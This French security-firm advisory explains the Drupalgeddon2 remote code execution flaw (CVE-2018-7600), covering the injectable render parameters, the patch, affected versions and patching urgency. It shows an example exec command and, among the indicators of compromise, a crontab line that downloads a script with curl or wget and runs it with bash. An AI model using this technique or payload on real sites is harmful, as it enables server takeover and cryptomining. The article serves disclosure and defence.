9 questions pour comprendre la dernière vulnérabilité Drupal (Drupalgeddon2)

Le 22 mars, les auteurs du CMS Drupal ont annoncé la publication d’une nouvelle version de Drupal 7 et 8 afin de corriger une vulnérabilité critique. La mise à jour a été publiée le 28 mars dernier, afin de corriger (entre autres) la faille référencée CVE-2018-7600 pour la vulnérabilité annoncée. Surnommée « Drupalgeddon 2 », celle-ci permet à un attaquant distant d’exécuter du code arbitraire sur le système (RCE) afin d’en prendre le contrôle.

Qu’en est-il vraiment ? Nous vous proposons de répondre à cela en 9 questions pour mieux comprendre cette faille, et son exploitation.

 

1. Qu’est-ce que Drupal ?

Drupal est un système de gestion de contenu (CMS) sous licence libre créé en 1999 et développé en PHP. Celui-ci permet de créer facilement un site web grâce à un gestionnaire de thème, un panneau d’administration ainsi que de nombreuses fonctionnalités. Drupal est principalement utilisé pour générer des sites vitrine d’entreprises et des blogs.

Drupal est le 3ème CMS le plus populaire (4,5% de parts de marché en 2017), et l’un des plus utilisés par les entreprises pour la réalisation de leurs sites institutionnels.

 

2. Quelle est la vulnérabilité et quels sont ses impacts ?

La vulnérabilité DrupalGeddon2, référencée CVE-2018-7600 provient d’un défaut de traitement des paramètres soumis par l’utilisateur au travers des formulaires de création de compte et de réinitialisation de mot de passe, accessible via les URLs « /user/register » et « /user/password ».

Ce manque de traitement impacte plus spécifiquement les fonctions « call_user_func_array » et « call_user_func » définies dans le fichier « /core/lib/Drupal/Core/Render/Renderer.php » en charge de la génération des pages HTML.

En envoyant une requête HTTP spécialement conçue, un utilisateur distant non authentifié est en mesure de forcer le serveur distant à exécuter des commandes système arbitraires. Ainsi un attaquant peut prendre le contrôle du système sous-jacent.

Une telle attaque peut être menée dans le but d’impacter l’image d’une entreprise (défiguration du site), ou pour compromettre le serveur afin de s’en servir de pivot dans le but de s’introduire dans le système d’information de l’entreprise.

 

3. D’où provient la vulnérabilité ?

Il a été constaté que cette vulnérabilité pouvait être exploitée au moins de 2 manières différentes :

  1. Via le formulaire de création de comptes (« /user/register»)
  2. Via le formulaire de récupération de mot de passe (« /user/password »).

Un attaquant peut injecter des commandes PHP qui seront interprétés par le moteur de « rendering » introduit au sein de Drupal 7.

Pour injecter le code malveillant, l’attaquant utilise les fonctions natives de « rendering » suivantes :

  • post_render
  • pre_render
  • access_callback
  • lazy_builder

Par exemple, pour injecter du code au sein de la page de création de comptes, l’attaquant utilise la fonction de « rendering » nommée lazy_builder au travers du paramètre timezone. Deux arguments sont passés à cette fonction :

  1. « [#lazy_builder][]= » permet d’injecter une fonction PHP de notre choix, telle que « exec», qui permet d’exécuter des commandes système.
  2. « [#lazy_builder][][]= » contient l’éventuel paramètre de la fonction injectée précédemment.

 

Le code d’exploitation se présenterait comme suit :

drupalgeddon2-1

Ainsi l’envoi de la requête précédente vers un serveur vulnérable permettra à un attaquant de forcer le serveur à exécuter la commande suivante : exec(« echo PWNED > /Applications/MAMP/htdocs/drupal/index.html »);

Cette exécution a pour résultat la création de la page « index.html » contenant simplement le terme « PWNED ».

drupalgeddon2-2

Plutôt que de créer une page HTML, il est tout à fait possible d’uploader un webshell, d’ouvrir une porte dérobée sur le serveur, etc.
Plus de détails techniques seront décrits dans notre prochain ActuSecu.

 

4. Comment la vulnérabilité a-t-elle été corrigée ?

Une fonctionnalité de filtrage a été créée afin de corriger la vulnérabilité. Dans le code source du CMS, celle-ci prend la forme d’une classe baptisée « RequestSanitizer ». Les méthodes de cette classe de filtrage sont utilisées en amont du code vulnérable, ainsi, leur utilisation mitige l’exploitabilité des différents vecteurs d’attaque précédemment détaillés.

La méthode « stripDangerousValues » a pour but de filtrer tous les paramètres préfixés par ‘#‘, tels que « #lazy_builder » et « #post_render » utilisés dans le cadre de cette attaque. Ceci permet d’empêcher un attaquant d’injecter des fonctions de « rendering ».

drupalgeddon2-3

Ce filtrage permet ainsi d’éviter l’injection de code PHP au sein de ces paramètres

 

5. La faille est-elle facilement exploitable ? Des codes d’exploitation sont-ils disponibles ?

La faille est facile à exploiter, car il suffit d’envoyer une requête HTTP vers une page « vulnérable ».

Le 13 avril un chercheur russe du nom de Vitalii Rudnykh a publié sur GitHub une preuve de concept exploitant la vulnérabilité :

Cet exploit non malveillant réalisait juste la création d’un fichier nommé hello.txt à la racine du site contenant un smiley. D’autres codes d’exploitation ont également été publiés permettant quant à eux d’exécuter des commandes sur le système :

Celui-ci permet notamment à un attaquant de déployer un « reverse shell » lui permettant d’exécuter n’importe quelle commande de son choix.

Depuis, d’autres preuves de concept sont disponibles :

 

6. Suis-je affecté par la vulnérabilité ?

Vous êtes affectés par la vulnérabilité si votre application Drupal est sous l’une des versions suivantes :

  • Drupal 6.x
  • Drupal 7.x < 7.58
  • Drupal 8.3.x < 8.3.9
  • Drupal 8.4.x < 8.4.6
  • Drupal 8.5.x < 8.5.1

 

7. Des attaques ont-elles été perpétrées ?

Le 13 avril, l’Internet Storm Center a annoncé avoir décelé des tentatives d’exploitation de la faille sur leurs honeypots. Ces attaques avaient pour objectif d’intégrer sur les sites ciblés un code JavaScript forçant les visiteurs du site en question à miner des Monero pour le compte des attaquants.

Les chercheurs ont partagé les Indicateurs de compromissions (IOC) relevés :

  • Nom de domaine vers lequel le miner communique :

ceye.io

  • Noms d’hôte de connexion du miner :

u5evn7.if1j0ytgkypa.tk
tc8zdw.if1j0ytgkypa.tk

  • Adresses IP connexion du miner :

207.246.113.230
144.202.37.130

  • Entrée au sein de la Crontab :

/30 * * * * root pkill -f /tmp/ ; (curl -fsSL http://${host}/i -o ${FN} || wget http://${host}/i -q -O ${FN}) ; bash ${FN} 1 &

 

8. Comment se protéger contre l’exploitation de cette faille ?

Aucune solution de contournement n’a été publiée. Afin de se protéger de la vulnérabilité, il faut mettre à jour Drupal vers les versions suivantes (ou ultérieures) :

  • Drupal 7.58
  • Drupal 8.3.9
  • Drupal 8.4.6
  • Drupal 8.5.1

Nous vous conseillons de mettre à jour votre site Drupal via l’utilitaire de mise à jour inclus au sein de la console d’administration de votre site, ou en téléchargeant le correctif disponible à l’adresse suivante : https://www.drupal.org/project/drupal/releases/

 

9. Dois-je appliquer les correctifs en urgence ?

Si votre version est affectée, oui. Cette vulnérabilité est critique, simple à exploiter et peut impacter directement l’image de votre entreprise ; de plus elle ouvre une porte sur le système d’information de votre entreprise. La correction de cette vulnérabilité est d’autant plus urgente que celle-ci est activement exploitée (installation de mineur de cryptomonnaie).

De plus, une nouvelle vulnérabilité référencée CVE-2018-7602 et liée à DrupalGeddon 2 a été découverte. Un patch est prévu pour le 25 avril 19h.

Sources :

Adrien Guinault

Découvrir d'autres articles

En savoir plus En savoir plus